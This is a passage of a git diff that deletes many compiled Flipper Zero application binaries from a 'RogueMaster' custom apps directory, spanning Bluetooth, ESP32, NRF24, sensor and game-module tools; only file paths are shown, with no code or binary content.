diff --git a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/ble_spam.fap b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/ble_spam.fap deleted file mode 100644 index 183f1be32..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/ble_spam.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/bt_trigger.fap b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/bt_trigger.fap deleted file mode 100644 index 9744df130..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/bt_trigger.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/cookie_clicker.fap b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/cookie_clicker.fap deleted file mode 100644 index affe6406b..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/cookie_clicker.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/findmy.fap b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/findmy.fap deleted file mode 100644 index 46fc5adb2..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/findmy.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/hid_ble.fap b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/hid_ble.fap deleted file mode 100644 index 76d065657..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/hid_ble.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/pc_monitor.fap b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/pc_monitor.fap deleted file mode 100644 index 755dacf0e..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/pc_monitor.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/remote_kodi.fap b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/remote_kodi.fap deleted file mode 100644 index a4aedde83..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/remote_kodi.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/wendigo.fap b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/wendigo.fap deleted file mode 100644 index 36704bd68..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/wendigo.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/avr_flasher.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/avr_flasher.fap deleted file mode 100644 index a3aacf047..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/avr_flasher.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/dap_link.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/dap_link.fap deleted file mode 100644 index a777967a5..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/dap_link.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/eth_troubleshooter.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/eth_troubleshooter.fap deleted file mode 100644 index 6d604fff7..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/eth_troubleshooter.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/i2c_tools.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/i2c_tools.fap deleted file mode 100644 index 57e1f9b1d..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/i2c_tools.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/spi_mem_manager.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/spi_mem_manager.fap deleted file mode 100644 index e6c170ca7..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/spi_mem_manager.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/swd_probe.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/swd_probe.fap deleted file mode 100644 index db23ebb2a..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/swd_probe.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/ble_killer.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/ble_killer.fap deleted file mode 100644 index 75b44868b..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/ble_killer.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_camera.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_camera.fap deleted file mode 100644 index 97984c577..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_camera.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_marauder.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_marauder.fap deleted file mode 100644 index d9a17742b..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_marauder.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_morse_flasher.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_morse_flasher.fap deleted file mode 100644 index a57057232..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_morse_flasher.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_motion.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_motion.fap deleted file mode 100644 index c5a62fe2c..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_motion.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_nannycam.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_nannycam.fap deleted file mode 100644 index 713f1b082..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_nannycam.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_qrcode.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_qrcode.fap deleted file mode 100644 index 73c423bdb..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_qrcode.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/camera_suite.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/camera_suite.fap deleted file mode 100644 index 327b7fc6d..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/camera_suite.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/esp32_camera.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/esp32_camera.fap deleted file mode 100644 index de6f14dbb..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/esp32_camera.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/esp32_gravity.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/esp32_gravity.fap deleted file mode 100644 index 81a266599..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/esp32_gravity.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/esp_flasher.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/esp_flasher.fap deleted file mode 100644 index 1980ca110..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/esp_flasher.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/evil_portal.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/evil_portal.fap deleted file mode 100644 index 0092f2d05..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/evil_portal.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_library.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_library.fap deleted file mode 100644 index b74490070..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_library.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_rpi.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_rpi.fap deleted file mode 100644 index b8b752c39..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_rpi.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_social.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_social.fap deleted file mode 100644 index e58fb1325..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_social.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_store.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_store.fap deleted file mode 100644 index c98984c4f..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_store.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_trader.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_trader.fap deleted file mode 100644 index 857d347f8..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_trader.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_weather.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_weather.fap deleted file mode 100644 index 79de4a452..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_weather.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_wifi.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_wifi.fap deleted file mode 100644 index fb2658d77..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_wifi.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_world.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_world.fap deleted file mode 100644 index f416377f2..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_world.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/gemini_ia.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/gemini_ia.fap deleted file mode 100644 index 40d62f15e..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/gemini_ia.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/ghost_esp.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/ghost_esp.fap deleted file mode 100644 index 3e825087f..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/ghost_esp.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/postman.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/postman.fap deleted file mode 100644 index 3d2f1f58f..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/postman.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/wardriver.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/wardriver.fap deleted file mode 100644 index 499f25f9e..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/wardriver.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/web_crawler.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/web_crawler.fap deleted file mode 100644 index 4a5a85d1e..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/web_crawler.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/wifi_mapping.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/wifi_mapping.fap deleted file mode 100644 index 8c2c4e614..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/wifi_mapping.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/wifi_marauder.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/wifi_marauder.fap deleted file mode 100644 index 76fb8b286..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/wifi_marauder.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/deauther.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/deauther.fap deleted file mode 100644 index b11b4e55f..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/deauther.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/ifttt_button.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/ifttt_button.fap deleted file mode 100644 index 809b2804d..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/ifttt_button.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/wifi_deauther_v2.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/wifi_deauther_v2.fap deleted file mode 100644 index 30ef7c6bb..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/wifi_deauther_v2.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/wifi_scanner.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/wifi_scanner.fap deleted file mode 100644 index 62678222a..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/wifi_scanner.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_blinky.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_blinky.fap deleted file mode 100644 index 2ca475b45..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_blinky.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_keyboard.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_keyboard.fap deleted file mode 100644 index fb73565cf..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_keyboard.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_signal.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_signal.fap deleted file mode 100644 index 4377c83da..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_signal.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_simon_rm.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_simon_rm.fap deleted file mode 100644 index 97ec4bda9..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_simon_rm.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/gb_printer.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/gb_printer.fap deleted file mode 100644 index c1645631b..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/gb_printer.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_cartridge.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_cartridge.fap deleted file mode 100644 index 679aca2e2..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_cartridge.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_emulator.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_emulator.fap deleted file mode 100644 index 4c5591d37..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_emulator.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_link_camera.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_link_camera.fap deleted file mode 100644 index 427e9fc11..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_link_camera.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_live_camera.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_live_camera.fap deleted file mode 100644 index 6d1528e4f..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_live_camera.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_photo.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_photo.fap deleted file mode 100644 index 200ec4fcf..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_photo.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gba_cartridge.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gba_cartridge.fap deleted file mode 100644 index 61d4e6f8c..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gba_cartridge.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_pin_test.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_pin_test.fap deleted file mode 100644 index 54e334365..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_pin_test.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/azerty_mouse_jacker.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/azerty_mouse_jacker.fap deleted file mode 100644 index 68e33131a..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/azerty_mouse_jacker.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/batch.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/batch.fap deleted file mode 100644 index 854ebcd5c..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/batch.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/channel_scan.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/channel_scan.fap deleted file mode 100644 index 3eb928dc7..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/channel_scan.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/mouse_jacker.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/mouse_jacker.fap deleted file mode 100644 index f5178edc9..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/mouse_jacker.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/mouse_jacker_ms.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/mouse_jacker_ms.fap deleted file mode 100644 index 24bfad064..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/mouse_jacker_ms.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/nrf24_jammer.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/nrf24_jammer.fap deleted file mode 100644 index 7d20a386c..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/nrf24_jammer.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/scanner.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/scanner.fap deleted file mode 100644 index cc80e7f43..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/scanner.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/sniffer.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/sniffer.fap deleted file mode 100644 index f65b02393..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/sniffer.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/sniffer_ms.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/sniffer_ms.fap deleted file mode 100644 index cfd786f80..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/sniffer_ms.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/atomicdiceroller.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/atomicdiceroller.fap deleted file mode 100644 index 4ae106e72..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/atomicdiceroller.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/bh1750_lightmeter.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/bh1750_lightmeter.fap deleted file mode 100644 index 07f0d3c42..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/bh1750_lightmeter.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/gas_sensor.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/gas_sensor.fap deleted file mode 100644 index 225bfc250..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/gas_sensor.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/hc_sr04_dist_sensor.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/hc_sr04_dist_sensor.fap deleted file mode 100644 index 69e80e38f..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/hc_sr04_dist_sensor.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/j305_geiger_coutner.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/j305_geiger_coutner.fap deleted file mode 100644 index 2c56213b3..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/j305_geiger_coutner.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/max31855.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/max31855.fap deleted file mode 100644 index 353cd2d5e..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/max31855.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/mh_z19_co2_sensor.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/mh_z19_co2_sensor.fap deleted file mode 100644 index a93b94a58..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/mh_z19_co2_sensor.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/mhz19_uart.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/mhz19_uart.fap deleted file mode 100644 index 72665028e..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/mhz19_uart.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/mx2125_accelerometer.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/mx2125_accelerometer.fap deleted file mode 100644 index 3d200703c..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/mx2125_accelerometer.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/plantower_pmsx003_sensor_reader.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/plantower_pmsx003_sensor_reader.fap deleted file mode 100644 index 48ff9c67b..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/plantower_pmsx003_sensor_reader.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/radar_scanner.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/radar_scanner.fap deleted file mode 100644 index 8b13cf047..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/radar_scanner.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/radiation_sensor.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/radiation_sensor.fap deleted file mode 100644 index 971bc6259..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/radiation_sensor.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/rcwl_0516_motion_sensor.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/rcwl_0516_motion_sensor.fap deleted file mode 100644 index cb6c4b3d2..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/rcwl_0516_motion_sensor.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/sleep_counter.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/sleep_counter.fap deleted file mode 100644 index 8935c4361..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/sleep_counter.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/temp_sensors_reader.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/temp_sensors_reader.fap deleted file mode 100644 index 44f92bcb2..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/temp_sensors_reader.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/usping_dist_sensor.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/usping_dist_sensor.fap deleted file mode 100644 index 3c2b87967..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/usping_dist_sensor.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/air_arkanoid.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/air_arkanoid.fap deleted file mode 100644 index f2a5e5b37..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/air_arkanoid.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/air_labyrinth.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/air_labyrinth.fap deleted file mode 100644 index 2ff867d3e..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/air_labyrinth.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/vgm_air_mouse.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/vgm_air_mouse.fap deleted file mode 100644 index a3de457b5..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/vgm_air_mouse.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/video_game_module_tool.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/video_game_module_tool.fap deleted file mode 100644 index e07a1c49f..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/video_game_module_tool.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/analog_output.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/analog_output.fap deleted file mode 100644 index c796f1a82..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/analog_output.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/battery_checker.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/battery_checker.fap deleted file mode 100644 index 423d826ad..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/battery_checker.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/bmi160_air_mouse.fap b/Applications/Custom (UL, 